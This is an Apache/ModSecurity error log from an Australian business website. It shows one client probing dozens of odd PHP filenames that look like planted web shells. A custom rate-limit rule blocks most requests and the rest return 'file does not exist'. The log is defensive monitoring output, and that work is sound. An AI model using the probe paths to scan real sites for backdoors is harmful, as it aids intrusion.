[Sat Apr 18 20:21:42.005815 2026] [:error] [pid 34290:tid 34323] [client 52.236.80.95:5988] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acc.php"] [unique_id "aeN3VhqX6WpmmAXOBi8cvAAAAcQ"]
[Sat Apr 18 20:21:42.539757 2026] [:error] [pid 9865:tid 9955] [client 52.236.80.95:6120] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acc.php"] [unique_id "aeN3Vqzb5knECIY-C-iCqQAAAJI"]
[Sat Apr 18 20:21:43.261275 2026] [:error] [pid 34237:tid 34250] [client 52.236.80.95:5876] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acc.php"] [unique_id "aeN3VxBmX4Wq5a6rxfariwAAAUs"]
[Sat Apr 18 20:21:43.951642 2026] [:error] [pid 34237:tid 34251] [client 52.236.80.95:6118] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/HLA-dd.php"] [unique_id "aeN3VxBmX4Wq5a6rxfarjgAAAUw"]
[Sat Apr 18 20:21:45.170309 2026] [:error] [pid 34237:tid 34245] [client 52.236.80.95:6064] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/HLA-dd.php"] [unique_id "aeN3WRBmX4Wq5a6rxfarkwAAAUY"]
[Sat Apr 18 20:21:46.357712 2026] [:error] [pid 34290:tid 34341] [client 52.236.80.95:5765] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/HLA-dd.php"] [unique_id "aeN3WhqX6WpmmAXOBi8cwwAAAdY"]
[Sat Apr 18 20:21:46.976922 2026] [:error] [pid 34290:tid 34337] [client 52.236.80.95:6040] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/HLA-dd.php"] [unique_id "aeN3WhqX6WpmmAXOBi8cxQAAAdI"]
[Sat Apr 18 20:21:47.628141 2026] [:error] [pid 9970:tid 9996] [client 52.236.80.95:5701] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7logs.php"] [unique_id "aeN3WyYdRLRhVmaIMx20LQAAANY"]
[Sat Apr 18 20:21:48.593543 2026] [:error] [pid 34237:tid 34260] [client 52.236.80.95:5929] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7logs.php"] [unique_id "aeN3XBBmX4Wq5a6rxfarmgAAAVU"]
[Sat Apr 18 20:21:49.291109 2026] [:error] [pid 34237:tid 34239] [client 52.236.80.95:5860] File does not exist: /usr/local/apache/htdocs/suspended-page/7logs.php
[Sat Apr 18 20:21:49.591505 2026] [:error] [pid 34237:tid 34245] [client 52.236.80.95:5860] File does not exist: /usr/local/apache/htdocs/suspended-page/SS72_kKKjT.php
[Sat Apr 18 20:21:49.906854 2026] [:error] [pid 34237:tid 34243] [client 52.236.80.95:5860] File does not exist: /usr/local/apache/htdocs/suspended-page/Spow_SRw.php
[Sat Apr 18 20:21:50.167012 2026] [:error] [pid 34237:tid 34250] [client 52.236.80.95:5860] File does not exist: /usr/local/apache/htdocs/suspended-page/blnux.php
[Sat Apr 18 20:21:50.440815 2026] [:error] [pid 34237:tid 34255] [client 52.236.80.95:5860] File does not exist: /usr/local/apache/htdocs/suspended-page/blqjs.php
[Sat Apr 18 20:21:50.718926 2026] [:error] [pid 34237:tid 34263] [client 52.236.80.95:5860] File does not exist: /usr/local/apache/htdocs/suspended-page/fyflv.php
[Sat Apr 18 20:21:50.991467 2026] [:error] [pid 34237:tid 34249] [client 52.236.80.95:5860] File does not exist: /usr/local/apache/htdocs/suspended-page/iindv.php
[Sat Apr 18 20:21:51.256450 2026] [:error] [pid 34237:tid 34250] [client 52.236.80.95:5860] File does not exist: /usr/local/apache/htdocs/suspended-page/wkogn.php
[Sat Apr 18 20:21:51.576398 2026] [:error] [pid 34237:tid 34256] [client 52.236.80.95:5860] File does not exist: /usr/local/apache/htdocs/suspended-page/wwdgl.php
[Sat Apr 18 20:21:51.919991 2026] [:error] [pid 34237:tid 34251] [client 52.236.80.95:5860] File does not exist: /usr/local/apache/htdocs/suspended-page/wxeyc.php
[Sat Apr 18 20:21:52.205726 2026] [:error] [pid 34237:tid 34263] [client 52.236.80.95:5860] File does not exist: /usr/local/apache/htdocs/suspended-page/xxiviLDIot.php
[Sat Apr 18 20:21:52.463590 2026] [:error] [pid 34237:tid 34261] [client 52.236.80.95:5860] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeN3YBBmX4Wq5a6rxfarsQAAAVY"]
[Sat Apr 18 20:21:53.039311 2026] [:error] [pid 13023:tid 13031] [client 52.236.80.95:6025] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeN3Yf1e7hG8DAeABB8GrwAAAQY"]
[Sat Apr 18 20:21:53.581340 2026] [:error] [pid 34237:tid 34248] [client 52.236.80.95:6134] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeN3YRBmX4Wq5a6rxfartAAAAUk"]
[Sat Apr 18 20:21:54.201763 2026] [:error] [pid 34237:tid 34251] [client 52.236.80.95:5789] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeN3YhBmX4Wq5a6rxfartgAAAUw"]
[Sat Apr 18 20:21:54.803185 2026] [:error] [pid 34237:tid 34239] [client 52.236.80.95:6099] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3akp.php"] [unique_id "aeN3YhBmX4Wq5a6rxfarugAAAUA"]
[Sat Apr 18 20:21:55.392401 2026] [:error] [pid 34237:tid 34243] [client 52.236.80.95:5879] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3akp.php"] [unique_id "aeN3YxBmX4Wq5a6rxfarvQAAAUQ"]
[Sat Apr 18 20:21:56.026245 2026] [:error] [pid 34290:tid 34331] [client 52.236.80.95:6047] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3akp.php"] [unique_id "aeN3ZBqX6WpmmAXOBi8c0AAAAcw"]
[Sat Apr 18 20:21:56.623464 2026] [:error] [pid 34290:tid 34321] [client 52.236.80.95:5796] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3akp.php"] [unique_id "aeN3ZBqX6WpmmAXOBi8c0wAAAcI"]
[Sat Apr 18 20:21:57.150562 2026] [:error] [pid 34237:tid 34250] [client 52.236.80.95:6140] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sde.php"] [unique_id "aeN3ZRBmX4Wq5a6rxfarwgAAAUs"]
[Sat Apr 18 20:21:57.742725 2026] [:error] [pid 34237:tid 34249] [client 52.236.80.95:5753] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sde.php"] [unique_id "aeN3ZRBmX4Wq5a6rxfarxQAAAUo"]
[Sat Apr 18 20:21:58.259887 2026] [:error] [pid 34290:tid 34338] [client 52.236.80.95:5917] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sde.php"] [unique_id "aeN3ZhqX6WpmmAXOBi8c3AAAAdM"]
[Sat Apr 18 20:21:58.894701 2026] [:error] [pid 13023:tid 13032] [client 52.236.80.95:5730] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sde.php"] [unique_id "aeN3Zv1e7hG8DAeABB8GtQAAAQc"]
[Sat Apr 18 20:21:59.481311 2026] [:error] [pid 34290:tid 34329] [client 52.236.80.95:5892] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cdn3.php"] [unique_id "aeN3ZxqX6WpmmAXOBi8c4AAAAco"]
[Sat Apr 18 20:22:00.053017 2026] [:error] [pid 34288:tid 34293] [client 52.236.80.95:5899] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cdn3.php"] [unique_id "aeN3aOTIiy__PtiLmpnTYgAAAYE"]
[Sat Apr 18 20:22:00.604854 2026] [:error] [pid 34237:tid 34241] [client 52.236.80.95:6143] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cdn3.php"] [unique_id "aeN3aBBmX4Wq5a6rxfarxgAAAUI"]
[Sat Apr 18 20:22:01.126110 2026] [:error] [pid 34237:tid 34255] [client 52.236.80.95:6027] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cdn3.php"] [unique_id "aeN3aRBmX4Wq5a6rxfaryQAAAVA"]
[Sat Apr 18 20:22:01.712682 2026] [:error] [pid 34237:tid 34247] [client 52.236.80.95:6082] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aeN3aRBmX4Wq5a6rxfarywAAAUg"]
[Sat Apr 18 20:22:02.543231 2026] [:error] [pid 9970:tid 9998] [client 52.236.80.95:5815] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aeN3aiYdRLRhVmaIMx20MQAAANg"]
[Sat Apr 18 20:22:03.222660 2026] [:error] [pid 34290:tid 34324] [client 52.236.80.95:6066] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aeN3axqX6WpmmAXOBi8c5AAAAcU"]
[Sat Apr 18 20:22:04.555145 2026] [:error] [pid 9864:tid 9926] [client 52.236.80.95:5818] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aeN3bICFeowknfXHM7kcdgAAAFQ"]
[Sat Apr 18 20:22:05.424779 2026] [:error] [pid 34237:tid 34245] [client 52.236.80.95:5838] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-220.php"] [unique_id "aeN3bRBmX4Wq5a6rxfar0gAAAUY"]
[Sat Apr 18 20:22:06.304655 2026] [:error] [pid 34237:tid 34247] [client 52.236.80.95:5801] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-220.php"] [unique_id "aeN3bhBmX4Wq5a6rxfar1QAAAUg"]
[Sat Apr 18 20:22:06.972834 2026] [:error] [pid 9970:tid 9990] [client 52.236.80.95:6101] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-220.php"] [unique_id "aeN3biYdRLRhVmaIMx20MgAAANA"]
[Sat Apr 18 20:22:07.600030 2026] [:error] [pid 34237:tid 34241] [client 52.236.80.95:6131] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-220.php"] [unique_id "aeN3bxBmX4Wq5a6rxfar2gAAAUI"]
[Sat Apr 18 20:22:08.259672 2026] [:error] [pid 34237:tid 34263] [client 52.236.80.95:5681] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "aeN3cBBmX4Wq5a6rxfar2wAAAVg"]
[Sat Apr 18 20:22:08.997196 2026] [:error] [pid 9864:tid 9906] [client 52.236.80.95:5635] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "aeN3cICFeowknfXHM7kchQAAAEE"]
[Sat Apr 18 20:22:09.633216 2026] [:error] [pid 9865:tid 9938] [client 52.236.80.95:6105] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "aeN3cazb5knECIY-C-iCsQAAAIE"]
[Sat Apr 18 20:22:10.274410 2026] [:error] [pid 9865:tid 9958] [client 52.236.80.95:5787] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "aeN3cqzb5knECIY-C-iCtAAAAJU"]
[Sat Apr 18 20:22:10.941901 2026] [:error] [pid 9970:tid 9974] [client 52.236.80.95:6133] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uazsl.php"] [unique_id "aeN3ciYdRLRhVmaIMx20OAAAAMA"]
[Sat Apr 18 20:22:12.134778 2026] [:error] [pid 9970:tid 9989] [client 52.236.80.95:5768] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uazsl.php"] [unique_id "aeN3dCYdRLRhVmaIMx20OwAAAM8"]
[Sat Apr 18 20:22:12.775896 2026] [:error] [pid 34237:tid 34239] [client 52.236.80.95:6125] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uazsl.php"] [unique_id "aeN3dBBmX4Wq5a6rxfar3wAAAUA"]
[Sat Apr 18 20:22:13.366264 2026] [:error] [pid 34288:tid 34305] [client 52.236.80.95:6102] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uazsl.php"] [unique_id "aeN3deTIiy__PtiLmpnTZQAAAY0"]
[Sat Apr 18 20:22:13.899882 2026] [:error] [pid 13023:tid 13032] [client 52.236.80.95:5884] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "aeN3df1e7hG8DAeABB8GxAAAAQc"]
[Sat Apr 18 20:22:14.649692 2026] [:error] [pid 34237:tid 34248] [client 52.236.80.95:6029] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "aeN3dhBmX4Wq5a6rxfar7AAAAUk"]
[Sat Apr 18 20:22:15.282546 2026] [:error] [pid 34237:tid 34250] [client 52.236.80.95:5969] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "aeN3dxBmX4Wq5a6rxfar7wAAAUs"]
[Sat Apr 18 20:22:15.834353 2026] [:error] [pid 34290:tid 34333] [client 52.236.80.95:6079] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "aeN3dxqX6WpmmAXOBi8c7wAAAc4"]
[Sat Apr 18 20:22:16.421481 2026] [:error] [pid 34237:tid 34252] [client 52.236.80.95:5891] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-denmono.php"] [unique_id "aeN3eBBmX4Wq5a6rxfar8gAAAU0"]
[Sat Apr 18 20:22:17.040545 2026] [:error] [pid 9864:tid 9923] [client 52.236.80.95:5957] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-denmono.php"] [unique_id "aeN3eYCFeowknfXHM7kcmAAAAFE"]
[Sat Apr 18 20:22:17.694014 2026] [:error] [pid 9864:tid 9929] [client 52.236.80.95:5771] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-denmono.php"] [unique_id "aeN3eYCFeowknfXHM7kcmQAAAFc"]
[Sat Apr 18 20:22:18.296312 2026] [:error] [pid 34237:tid 34259] [client 52.236.80.95:6011] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-denmono.php"] [unique_id "aeN3ehBmX4Wq5a6rxfar9QAAAVQ"]
[Sat Apr 18 20:22:18.867080 2026] [:error] [pid 34288:tid 34311] [client 52.236.80.95:6114] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeN3euTIiy__PtiLmpnTZgAAAZM"]
[Sat Apr 18 20:22:19.414044 2026] [:error] [pid 13023:tid 13042] [client 52.236.80.95:6036] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeN3e_1e7hG8DAeABB8GyQAAARE"]
